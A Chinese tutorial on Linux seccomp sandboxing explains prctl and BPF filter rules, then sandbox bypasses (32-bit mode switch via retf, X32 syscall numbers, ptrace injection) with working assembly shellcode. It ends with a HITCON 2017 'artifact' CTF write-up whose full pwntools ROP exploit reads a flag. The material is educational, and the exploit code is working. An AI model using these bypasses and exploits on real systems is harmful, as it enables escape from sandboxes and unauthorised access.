沙箱之seccomp~
沙箱 学操作系统的时候有学到,用户层一切资源相关操作都需要通过系统调用来完成,那么只要对系统调用进行某种操作,用户层的程序就翻不起什么风浪,即使是恶意程序也就只能在自己进程内存空间那一分田地晃悠,进程一终止它也如风消散了,这基本就是本篇接下来内容的总思路了。
seccomp short for secure computing mode(wiki )是一种限制系统调用的安全机制,可以当沙箱用。在严格模式下只支持exit()
,sigreturn()
,read()
和write()
,其他的系统调用都会杀死进程,过滤模式下可以指定允许那些系统调用,规则是bpf,可以使用seccomp-tools 查看
prtcl 内容 想想上面几句话还是看不懂这是干啥的,现在就仔细记录一下,在早期使用seccomp是使用prctl系统调用实现的,后来封装成了一个libseccomp库,可以直接使用seccomp_init
,seccomp_rule_add
,seccomp_load
来设置过滤规则,但是我们学习的还是从prctl,这个系统调用是进行进程控制的,这里关注seccomp功能。 首先,要使用它需要有CAP_SYS_ADMIN
权能,否则就要设置PR_SET_NO_NEW_PRIVS
位,若不这样做非root用户使用这个程序时seccomp
保护将会失效!设置了PR_SET_NO_NEW_PRIVS
位后能保证seccomp
对所有用户都能起作用,并且会使子进程即execve后的进程依然受控,意思就是即使执行execve
这个系统调用替换了整个binary权限不会变化,而且正如其名它设置以后就不能再改了,即使可以调用ptctl
也不能再把它禁用掉。
1 prctl(PR_SET_NO_NEW_PRIVS,1 ,0 ,0 ,0 );
这样就可以开始使用自定义的过滤规则了,使用时,如下设置:
1 prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog);
现在重点介绍第三个参数–prog
,它是指向如下结构体的指针,这个结构体记录了过滤规则个数与规则数组起始位置:
1 2 3 4 5 struct sock_fprog { unsigned short len; struct sock_filter *filter ; };
而filter域就指向了具体的规则,每一条规则有如下形式:
1 2 3 4 5 6 struct sock_filter { __u16 code; __u8 jt; __u8 jf; __u32 k; };
为了操作方便定义了一组宏来完成filter的填写(定义在/usr/include/linux/bpf_common.h
):
1 2 3 4 5 6 #ifndef BPF_STMT #define BPF_STMT(code, k) { (unsigned short)(code), 0, 0, k } #endif #ifndef BPF_JUMP #define BPF_JUMP(code, k, jt, jf) { (unsigned short)(code), jt, jf, k } #endif
这样会简单一点,再来看看code,它是由多个”单词”组成的”短语”,类似”动宾结构”,”单词”间使用”+”连接:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 #define BPF_CLASS(code) ((code) & 0x07) #define BPF_LD 0x00 #define BPF_LDX 0x01 #define BPF_ST 0x02 #define BPF_STX 0x03 #define BPF_ALU 0x04 #define BPF_JMP 0x05 #define BPF_RET 0x06 #define BPF_MISC 0x07 #define BPF_SIZE(code) ((code) & 0x18) #define BPF_W 0x00 #define BPF_H 0x08 #define BPF_B 0x10 #define BPF_MODE(code) ((code) & 0xe0) #define BPF_IMM 0x00 #define BPF_ABS 0x20 #define BPF_IND 0x40 #define BPF_MEM 0x60 #define BPF_LEN 0x80 #define BPF_MSH 0xa0 #define BPF_OP(code) ((code) & 0xf0) #define BPF_ADD 0x00 #define BPF_SUB 0x10 #define BPF_MUL 0x20 #define BPF_DIV 0x30 #define BPF_OR 0x40 #define BPF_AND 0x50 #define BPF_LSH 0x60 #define BPF_RSH 0x70 #define BPF_NEG 0x80 #define BPF_MOD 0x90 #define BPF_XOR 0xa0 #define BPF_JA 0x00 #define BPF_JEQ 0x10 #define BPF_JGT 0x20 #define BPF_JGE 0x30 #define BPF_JSET 0x40 #define BPF_SRC(code) ((code) & 0x08) #define BPF_K 0x00 #define BPF_X 0x08
另在与SECCOMP有关的定义在/usr/include/linux/seccomp.h
,现在来看看怎么写规则,首先是BPF_LD
,它需要用到的结构为:
1 2 3 4 5 6 7 struct seccomp_data { int nr; __u32 arch; __u64 instruction_pointer; __u64 args[6 ]; };
其中args中是6个寄存器,在32位下是:ebx,ecx,edx,esi,edi,ebp
,在64位下是:rdi,rsi,rdx,r10,r8,r9
,现在要将syscall时eax的值载入RegA,可以使用:
1 2 3 BPF_STMT(BPF_LD+BPF_W+BPF_ABS,0 ) BPF_STMT(BPF_LD+BPF_W+BPF_ABS,regoffset(eax))
而跳转语句写法如下:
1 BPF_JUMP(BPF_JMP+BPF_JEQ,59 ,1 ,0 )
其中后两个参数代表成功跳转到第几条规则,失败跳转到第几条规则,这是相对偏移。 最后当验证完成需要返回结果,即是否允许:
1 BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL)
过滤的规则列表里可以有多条规则,seccomp
会从第0条开始逐条执行,直到遇到BPF_RET
返回,决定是否允许该操作以及做某些修改。
例子 这是原程序,它将会在main
里调用两个函数,并且返回结果:
1 2 3 4 5 6 7 8 9 10 11 12 #include <stdio.h> #include <sys/prctl.h> #include <linux/seccomp.h> #include <linux/filter.h> #include <stdlib.h> int main () { printf (":Beta~\n" ); system("id" ); return 0 ; }
结果为:
1 2 3 ➜ ~ ./a.out :Beta~ uid=0(root) gid=0(root) groups=0(root)
现在使用seccomp
禁用所有系统调用,即在main
开始处添加如下代码:
1 2 3 4 5 6 7 8 9 struct sock_filter filter [] = { BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL), }; struct sock_fprog prog = { .len = (unsigned short )(sizeof (filter)/sizeof (filter[0 ])), .filter = filter, }; prctl(PR_SET_NO_NEW_PRIVS,1 ,0 ,0 ,0 ); prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog);
这样编译运行程序将直接终止,在printf
处就会失败:
1 2 ➜ ~ ./a.out [1] 11763 invalid system call ./a.out
现在更改规则,让其允许其他系统调用,只禁止execve
调用:
1 2 3 4 5 6 7 8 9 10 struct sock_filter filter [] = { BPF_STMT(BPF_LD+BPF_W+BPF_ABS,0 ), BPF_JUMP(BPF_JMP+BPF_JEQ,59 ,0 ,1 ), BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL), BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ALLOW), };
现在编译运行,发现printf
执行成功,system
执行失败,因为 system
内部调用了execve
,而它被禁止了:
绕过 未检查arch 当未检查arch参数时,可以尝试转换当前的处理器模式(姑且这样叫 ),即在32位程序中转到64位或者相反,因为i386
和x86-64
拥有不同的系统调用号,例如:程序为x86-64
的并且禁止execve
:
1 2 3 11 64 munmap __x64_sys_munmap 59 64 execve __x64_sys_execve/ptregs 11 i386 execve sys_execve
若改变模式让其认为当前真在处理i386
的程序,那么系统调用号11
将不会被解析为__x64_sys_munmap
而是sys_execve
,这样就绕过了保护,于是这种利用需要满足:
未检查arch
调用号11
未被禁止
sys_mmap
或sys_mprotect
能用
需求的前面两点已经提到原因,第三点是因为要转换CPU的处理模式,这在大部分情况下都找不到现成的gadget可使用,因为需要我们手动注入代码,即要注入shellcode并使其能够执行,因此需要这两个之一来获取可写可执行的内存,那么这个shellcode应该是什么呢?它的主要部分如下:
1 2 3 4 5 6 to32: ;;将CPU模式转换为32位 mov DWORD [rsp+4],0x23 ;;32位 retf to64: ;;将CPU模式转换为64位 mov DWORD [esp+4],0x33 ;;64位 retf
原理为RETF
指令,它能改变CS
寄存器,当CS
为0x23时表示当前为64位,当为0x33时表示为32位:
1 2 3 RETQ:POP RIP RETN: POP EIP RETF: POP CS:EIP
现在拿出样例程序,和上面差不多:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 #include <stdio.h> #include <sys/prctl.h> #include <linux/seccomp.h> #include <linux/filter.h> #include <stdlib.h> #include <unistd.h> extern void my_execve (char *,char **,char **) ; char *args[]={ "/bin/sh" , 0 }; int main () { struct sock_filter filter [] = { BPF_STMT(BPF_LD+BPF_W+BPF_ABS,0 ), BPF_JUMP(BPF_JMP+BPF_JEQ,59 ,0 ,1 ), BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL), BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ALLOW), }; struct sock_fprog prog = { .len = (unsigned short )(sizeof (filter)/sizeof (filter[0 ])), .filter = filter, }; prctl(PR_SET_NO_NEW_PRIVS,1 ,0 ,0 ,0 ); prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog); printf (":Beta~\n" ); my_execve(args[0 ],args,0 ); return 0 ; } 接下来的shellcode部分: ```asm section .text global my_execve my_execve: lea rsp,[stk] ;;如下所述,防止内存访问异常 call to32 ;;转换为32 位 mov eax,11 ;;32 位的sys_execve 64 位的sys_munmap mov ebx,edi ;;32 位和64 位参数所用寄存器不同需要手动修改 mov ecx,esi mov edx,edx int 0x80 ;;32 位不能使用syscall,只能使用此指令 ret to32: mov DWORD [rsp+4 ],0x23 retf section .bss ;;这里创建了一个栈,因为to32后rsp只有低位也就是esp有效了,若不这样做它将会指向一个不可访问的区域,这将会导致访问异常 resb 1000 ;;在实际利用过程中找到一个可访问的低位地址就好了 stk:
另外Makefile
为:
1 2 3 4 5 all: sec sec: sec.c sec.asm nasm -felf64 sec.asm -o sec.o gcc sec.o sec.c -no-pie -o sec
现在就可以编译运行,发现/bin/sh
执行成功,但是它无法执行任何命令:
1 2 3 4 5 ➜ ~ ./sec :Beta~ # ls Bad system call #
这是因为设置了PR_SET_NO_NEW_PRIVS
以后即使execve
这种用新装在的程序替换原来的程序,也会保留原来的seccomp
设置,所以此时即使execve("/bin/sh", ["/bin/sh"], NULL)
执行成功,新生成的shell也不能调用__x64_sys_execve
执行新命令,也就是说我们只有一次执行execve
的机会,于是解决办法就是在shellcode里面直接执行想要的操作,例如:
1 2 3 4 char *args[]={ "/usr/bin/id" , 0 };
成功执行:
1 2 3 ➜ ~ ./sec :Beta~ uid=0(root) gid=0(root) groups=0(root)
x64下使用X32 还是上面的程序,但是这里就可以开启arch检查了,即把那两行检查arch的注释去掉,现在使用X32的方式绕过,它只工作在原来为64位的程序下。X32为x86-64下的一种特殊的模式,它使用64位的寄存器和32位的地址,此时nr会在原来的基础上加上__X32_SYSCALL_BIT (0X40000000),即原本的syscall number + 0x40000000,这会达到一样的效果,此时的shellcode的代码如下:
1 2 3 4 5 6 7 8 9 10 section .text global my_execve my_execve: mov rax,59+0x40000000 ;;只需要把系统调用号加0x40000000即可 ;;另外520 或 520+0x40000000 也能用 syscall nop nop hlt
结果为:
1 2 3 ➜ ubuntu ./sec :Beta~ uid=0(root) gid=0(root) groups=0(root)
(奇怪的是我在kali下执行失败了,在Ubuntu下成功了,另外它同样继承了保护,只能执行一次execve
。 )
其他syscall 看看有没有漏网之鱼呀:
1 2 3 4 358 i386 execveat sys_execveat __ia32_compat_sys_execveat 322 64 execveat __x64_sys_execveat/ptregs 545 x32 execveat __x32_compat_sys_execveat/ptregs 520 x32 execve __x32_compat_sys_execve/ptregs
root可使用ptrace 这种情况在比赛中很少,若root权限的程序漏洞被利用,但是由于seccomp
无法执行大多数系统调用,而ptrace
可用时也可以在其他进程里,包括root权限的进程里注入shellcode开启shell。
例题 impeccable-Artifact(hitcon-2017-qual) 分析 保护全开: F5,在main里面是很明显的下标越界,算任意读写了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 __int64 __fastcall main (__int64 a1, char **a2, char **a3) { int opt; int index; __int64 v6[201 ]; unsigned __int64 v7; v7 = __readfsqword(0x28 u); init_0(); memset (v6, 0 , 0x640 uLL); while ( 1 ) { memu(); index = 0 ; _isoc99_scanf("%d" , &opt); if ( opt != 1 && opt != 2 ) break ; puts ("Idx?" ); _isoc99_scanf("%d" , &index); if ( opt == 1 ) { printf ("Here it is: %lld\n" , v6[index]); } else { puts ("Give me your number:" ); _isoc99_scanf("%lld" , &v6[index]); } } return 0L L; }
但是观察init_0
里面有保护:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 unsigned __int64 sub_930 () { __int16 v1; char *v2; char v3; unsigned __int64 v4; v4 = __readfsqword(0x28 u); qmemcpy(&v3, &off_C80, 0xA0 uLL); v1 = 20 ; v2 = &v3; prctl(38 , 1L L, 0L L, 0L L, 0L L, *(_QWORD *)&v1, &v3); if ( prctl(22 , 2L L, &v1) ) { perror("prctl" ); exit (1 ); } return __readfsqword(0x28 u) ^ v4; }
直接使用seccomp-tools 解析规则: 简单看下来,有两条可能利用的线路:
sys_number != mprotect -> sys_number == args[2] -> ALLOW (即除了上图有的系统调用,其他所有只要第三个参数等于系统调用号就能过保护 )
(sys_number == mmap || mprotect) -> args[2]&0x01 !=1 -> ALLOW (即在mmap或者mprotect时exec位不可被设置 )
这里面涉及到mprotect,它的原型为int mprotect(void *addr, size_t len, int prot)
,其中地址必须按页对齐,一个常识就是在内存保护里面,即使没有读权限只要可写或可执行就一定可读!
利用代码 思路为: 0. 使用show泄露出程序、libc的地址1. 编写shellcode:open->write
2. 将shellcode写入bss上3. 使用ROP调用mprotect(bss,len,PROT_WRITE|PROT_EXEC)
更改bss
使用ROP完成 open->write
利用代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 from pwn import *elf = ELF("./artifact" ) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" ) p = process("./artifact" ) context.clear(arch='amd64' ) def r (offset) : p.sendlineafter("Choice?" ,"1" ) p.sendlineafter("Idx?" ,str(offset)) p.recvuntil("Here it is:" ) return int(p.recvuntil("\n" ).strip()) def w (offset,number) : p.sendlineafter("Choice?" ,"2" ) p.sendlineafter("Idx?" ,str(offset)) p.sendlineafter("number:" ,str(number)) def ww (of,data) : data = data.ljust((len(data)//8 +1 )*8 ,'\0' ) for i in range(0 ,len(data)/8 ): w(of+i,u64(data[i*8 :i*8 +8 ])) log.info("offset:%d => 0x%x" %(of+i,u64(data[i*8 :i*8 +8 ]))) def e () : p.sendlineafter("Choice?" ,"3" ) libc.address = r(0x658 /8 )-0x2409b log.success("libc -> 0x%x" %libc.address) dataBaseAddr = r(-0x10 /8 ) log.success("dataBaseAddr -> 0x%x" %dataBaseAddr) rop=ROP(libc) rop.read(3 ,dataBaseAddr,100 ) rop.write(1 ,dataBaseAddr,100 ) pl = str(rop) payload = pl[0 :0x20 ]+p64(u64(pl[0x20 :0x28 ])+dataBaseAddr+0x658 )+pl[0x28 :] syscallAddr = 0xb5f05 + libc.address popRdxRsiRet = 0x106b39 + libc.address popRdiRet = 0x23a5f + libc.address popRaxRet = 0x3a6f8 + libc.address payload = flat(popRdiRet,dataBaseAddr,popRdxRsiRet,2 ,0 ,popRaxRet,2 ,syscallAddr) + str(rop) ww(0 ,"flag.txt" ) ww(0x658 /8 ,payload) e() p.interactive()
结果:
1 2 3 4 [*] Process './artifact' stopped with exit code -11 (SIGSEGV) (pid 10993) flag{BetaMao233333~} \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00[*] Got EOF while reading in interactive $
参考
http://www.selinuxplus.com/?p=370 STCS 2016 by winesaphttp://www.man7.org/linux/man-pages/man2/seccomp.2.html http://www.man7.org/linux/man-pages/man2/prctl.2.html https://code.woboq.org/linux/linux/include/uapi/linux/filter.h.html https://code.woboq.org/linux/linux/include/uapi/linux/bpf_common.h.html https://github.com/torvalds/linux/blob/master/arch/x86/entry/syscalls/syscall_32.tbl https://github.com/torvalds/linux/blob/master/arch/x86/entry/syscalls/syscall_64.tbl 题目 artifact 下载